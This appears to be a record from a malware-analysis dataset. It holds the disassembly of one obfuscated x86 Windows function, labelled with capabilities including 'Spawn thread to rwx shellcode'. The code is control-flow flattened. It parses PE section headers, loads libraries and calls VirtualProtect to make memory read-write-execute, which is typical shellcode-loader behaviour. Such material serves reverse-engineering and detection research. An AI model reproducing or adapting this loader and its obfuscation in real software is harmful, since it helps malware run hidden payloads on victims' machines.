Function at 0x40f630
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1f4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f8], eax
mov eax, dword [0x52f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1f0], 0xeff444e6
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1fc], eax
sub eax, 0x81a5cda4
je 0x4134a7
jmp 0x40f675
mov eax, dword [ebp - 0x1fc]
sub eax, 0x840f20aa
je 0x4127fa
jmp 0x40f68b
mov eax, dword [ebp - 0x1fc]
sub eax, 0x84320a7a
je 0x411662
jmp 0x40f6a1
mov eax, dword [ebp - 0x1fc]
sub eax, 0x84c3674b
je 0x410c9b
jmp 0x40f6b7
mov eax, dword [ebp - 0x1fc]
sub eax, 0x85b9a0ed
je 0x413419
jmp 0x40f6cd
mov eax, dword [ebp - 0x1fc]
sub eax, 0x85f34524
je 0x4139b8
jmp 0x40f6e3
mov eax, dword [ebp - 0x1fc]
sub eax, 0x880baf9f
je 0x411f5f
jmp 0x40f6f9
mov eax, dword [ebp - 0x1fc]
sub eax, 0x89f2248f
je 0x412ad6
jmp 0x40f70f
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8cc34680
je 0x410ba1
jmp 0x40f725
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8db00eb2
je 0x411c36
jmp 0x40f73b
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8fbf82f6
je 0x410dc2
jmp 0x40f751
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8fc8d910
je 0x4121ff
jmp 0x40f767
mov eax, dword [ebp - 0x1fc]
sub eax, 0x90ad204b
je 0x410d8b
jmp 0x40f77d
mov eax, dword [ebp - 0x1fc]
sub eax, 0x91860f9b
je 0x412bdb
jmp 0x40f793
mov eax, dword [ebp - 0x1fc]
sub eax, 0x93220257
je 0x4128c4
jmp 0x40f7a9
mov eax, dword [ebp - 0x1fc]
sub eax, 0x93ce1d17
je 0x41252f
jmp 0x40f7bf
mov eax, dword [ebp - 0x1fc]
sub eax, 0x93d37e2e
je 0x411571
jmp 0x40f7d5
mov eax, dword [ebp - 0x1fc]
sub eax, 0x94294034
je 0x4122f5
jmp 0x40f7eb
mov eax, dword [ebp - 0x1fc]
sub eax, 0x952859e2
je 0x411b5c
jmp 0x40f801
mov eax, dword [ebp - 0x1fc]
sub eax, 0x95465e82
je 0x411ccc
jmp 0x40f817
mov eax, dword [ebp - 0x1fc]
sub eax, 0x974ec707
je 0x412a6a
jmp 0x40f82d
mov eax, dword [ebp - 0x1fc]
sub eax, 0x97da272a
je 0x41351d
jmp 0x40f843
mov eax, dword [ebp - 0x1fc]
sub eax, 0x97f5b568
je 0x41373a
jmp 0x40f859
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9c168f8e
je 0x411aab
jmp 0x40f86f
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9d8bd296
je 0x4129a4
jmp 0x40f885
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa4358c49
je 0x412e01
jmp 0x40f89b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa45f0e3e
je 0x412864
jmp 0x40f8b1
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa5ef8eae
je 0x412ac7
jmp 0x40f8c7
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa7166906
je 0x412bf4
jmp 0x40f8dd
mov eax, dword [ebp - 0x1fc]
sub eax, 0xaa4834e7
je 0x412d99
jmp 0x40f8f3
mov eax, dword [ebp - 0x1fc]
sub eax, 0xacfbdbd4
je 0x4119f2
jmp 0x40f909
mov eax, dword [ebp - 0x1fc]
sub eax, 0xad46d7b5
je 0x413749
jmp 0x40f91f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb03d6741
je 0x412d8a
jmp 0x40f935
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb070602e
je 0x41356e
jmp 0x40f94b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb1bab673
je 0x4116b6
jmp 0x40f961
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb60e7cba
je 0x4136ae
jmp 0x40f977
mov eax, dword [ebp - 0x1fc]
sub eax, 0xba17c748
je 0x4137e1
jmp 0x40f98d
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbaf8a840
je 0x410bdb
jmp 0x40f9a3
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbafce363
je 0x413352
jmp 0x40f9b9
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbbdf9ad3
je 0x4138c4
jmp 0x40f9cf
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbd01e9bb
je 0x410c71
jmp 0x40f9e5
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbd669c62
je 0x410de9
jmp 0x40f9fb
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbd7f7a7a
je 0x4119a9
jmp 0x40fa11
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbe7acb11
je 0x412637
jmp 0x40fa27
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbe92389b
je 0x413876
jmp 0x40fa3d
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbf1a6f58
je 0x412699
jmp 0x40fa53
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc1b3bbaa
je 0x4113e3
jmp 0x40fa69
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc1cda31b
je 0x413157
jmp 0x40fa7f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc41898ca
je 0x413693
jmp 0x40fa95
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc41b3935
je 0x411962
jmp 0x40faab
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc524c950
je 0x412503
jmp 0x40fac1
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc5f0ecf4
je 0x412313
jmp 0x40fad7
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc5fa6c7a
je 0x411dac
jmp 0x40faed
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc7493a33
je 0x41367a
jmp 0x40fb03
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc81d944f
je 0x41372b
jmp 0x40fb19
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc898af67
je 0x412275
jmp 0x40fb2f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcb1d384d
je 0x412a19
jmp 0x40fb45
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcb277fae
je 0x412367
jmp 0x40fb5b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcbdc58fc
je 0x412cbb
jmp 0x40fb71
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcc9728f6
je 0x41217c
jmp 0x40fb87
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcca11356
je 0x41358f
jmp 0x40fb9d
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcd4b5201
je 0x412d7b
jmp 0x40fbb3
mov eax, dword [ebp - 0x1fc]
sub eax, 0xcfa9e9ac
je 0x413148
jmp 0x40fbc9
mov eax, dword [ebp - 0x1fc]
sub eax, 0xd0490e09
je 0x410fec
jmp 0x40fbdf
mov eax, dword [ebp - 0x1fc]
sub eax, 0xd46bcf3c
je 0x4116fc
mov dl, byte [ebp - 0x155]
mov eax, 0xbaf8a840
mov ecx, 0x3b0a551d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x18c]
add eax, 0x18
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x1f0], 0x75461eea
jmp 0x4139c2
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x1f0], 0x84c3674b
jmp 0x4139c2
mov edx, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x148]
mov eax, 0x68be77b2
mov ecx, 0x637d82f
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
sub eax, 0x4d29ed5f
add eax, ecx
add eax, 0x4d29ed5f
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1f0], 0x8fbf82f6
jmp 0x4139c2
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x1f0], 0xbd669c62
jmp 0x4139c2
mov eax, dword [ebp - 0x130]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x134]
mov eax, 0xd0490e09
mov ecx, 0x35f52ff7
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0x14d7c571
sub edx, 1
add edx, 0x14d7c571
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x17948c6e
mov ecx, 0xec879450
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dl, byte [ebp - 0x10d]
mov eax, 0x4f4aeb2d
mov ecx, 0xa58ac96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dl, byte [ebp - 0x105]
mov eax, 0x724d7314
mov ecx, 0x75ba8512
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x1b4]
add eax, 2
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1f0], 0xd54b5176
jmp 0x4139c2
mov eax, dword [ebp - 0xf4]
add eax, 0x95f010ad
add eax, 1
sub eax, 0x95f010ad
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1f0], 0xfaa251d6
jmp 0x4139c2
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1bc]
imul edx, dword [ebp - 0x1c0], 0x14
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1f0], 0xbd7f7a7a
jmp 0x4139c2
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f3ed957
mov ecx, 0xacfbdbd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0xe4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1f3ed957
mov ecx, 0x3e70a841
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
add edx, 0xa8362289
sub edx, 1
sub edx, 0xa8362289
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe00892b3
mov ecx, 0x32406f6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x1bc]
imul ecx, dword [ebp - 0x1c0], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x1f0], 0xeb02599b
jmp 0x4139c2
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1d0]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0xd4], eax
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
sub edx, 0xe09c2c65
sub edx, 1
add edx, 0xe09c2c65
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc81d944f
mov ecx, 0x67441d57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x97f5b568
mov ecx, 0xfc88cfcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x573ea7d0
jmp 0x4139c2
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
add edx, 0xb6c484a3
sub edx, 1
sub edx, 0xb6c484a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59b1332d
mov ecx, 0x19e612ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x54bdad49
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0xcc7e13fc
sub edx, 1
add edx, 0xcc7e13fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34f33923
mov ecx, 0xc898af67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1dc], 0
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
add edx, 0x53520ad6
sub edx, 1
sub edx, 0x53520ad6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34f33923
mov ecx, 0x94294034
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xf35e7e9
jmp 0x4139c2
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x18c]
add eax, 4
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x1f0], 0xe08f75f6
jmp 0x4139c2
mov dword [ebp - 0x1e0], 0x40
mov eax, dword [ebp - 0x198]
imul ecx, dword [ebp - 0x1dc], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x38dec575
or eax, edx
or ecx, 0x38dec575
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x1f0], 0x18e0cf7e
jmp 0x4139c2
mov ecx, dword [ebp - 0x1e4]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1f0], 0x93ce1d17
jmp 0x4139c2
mov edx, dword [ebp - 0xac]
mov eax, 0xbe7acb11
mov ecx, 0x1333a276
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x1e4]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x8d85dd64
or eax, edx
or ecx, 0x8d85dd64
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x1f0], 0x3a764ed1
jmp 0x4139c2
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x1f0], 0x22cab86b
jmp 0x4139c2
mov dword [ebp - 0x1e0], 4
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
add edx, 0xaf924d1c
sub edx, 1
sub edx, 0xaf924d1c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13860447
mov ecx, 0x70b52649
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xb03d6741
jmp 0x4139c2
mov eax, dword [ebp - 0x1e4]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x7f4319b
or eax, edx
or ecx, 0x7f4319b
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x9d], al
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0x6c1c2d9f
sub edx, 1
add edx, 0x6c1c2d9f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x45a54b71
mov ecx, 0x42f9e717
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x1f0], 0x88f48b8
jmp 0x4139c2
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
sub edx, 0x40c91edf
sub edx, 1
add edx, 0x40c91edf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe92389b
mov ecx, 0x974ec707
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x98], eax
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
add edx, 0x61d60d
sub edx, 1
sub edx, 0x61d60d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe92389b
mov ecx, 0xa5ef8eae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x89f2248f
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0x58d83c9e
sub edx, 1
add edx, 0x58d83c9e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf052ea41
mov ecx, 0xebe722e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1e0], 2
mov dword [ebp - 0x1f0], 0xa7166906
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
add edx, 0x52c3bd1b
sub edx, 1
sub edx, 0x52c3bd1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e0612b0
mov ecx, 0x2f745f22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x124d97dc
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xb03d6741
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xaa4834e7
jmp 0x4139c2
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x198]
imul edx, dword [ebp - 0x1dc], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x190]
mov eax, dword [ebp - 0x198]
imul edi, dword [ebp - 0x1dc], 0x28
add eax, edi
mov eax, dword [eax + 0xc]
add esi, 0x8c37e96a
add esi, eax
sub esi, 0x8c37e96a
lea eax, [ebp - 0x70]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x1f0], 0xa4358c49
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x19321f93
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xc1cda31b
jmp 0x4139c2
mov eax, dword [ebp - 0x88]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x1f0], 0x2478cb3a
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xe4206660
jmp 0x4139c2
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0x5d1ff46e
sub edx, 1
add edx, 0x5d1ff46e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdf3a918d
mov ecx, 0xd6551d3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
sub edx, 0x83dbf1a
sub edx, 1
add edx, 0x83dbf1a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85f34524
mov ecx, 0x97da272a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [0x530564]
mov ecx, dword [0x530560]
mov edx, eax
add edx, 0xe0612519
sub edx, 1
sub edx, 0xe0612519
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85f34524
mov ecx, 0xb070602e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f0], eax
jmp 0x4139c2
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x200], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e9d0
mov eax, dword [ebp - 0x200]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x1f0], 0x25427174
jmp 0x4139c2
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1f0], 0x2b403d06
jmp 0x4139c2
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1f0], 0xec53da0e
jmp 0x4139c2
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1f0], 0x5f273377
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x8db00eb2
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0xfc88cfcc
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x3d1e44be
jmp 0x4139c2
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1f0], 0xe2f8b1f4
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x974ec707
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x20c708c8
jmp 0x4139c2
mov dword [ebp - 0x1f0], 0x97da272a
jmp 0x40f659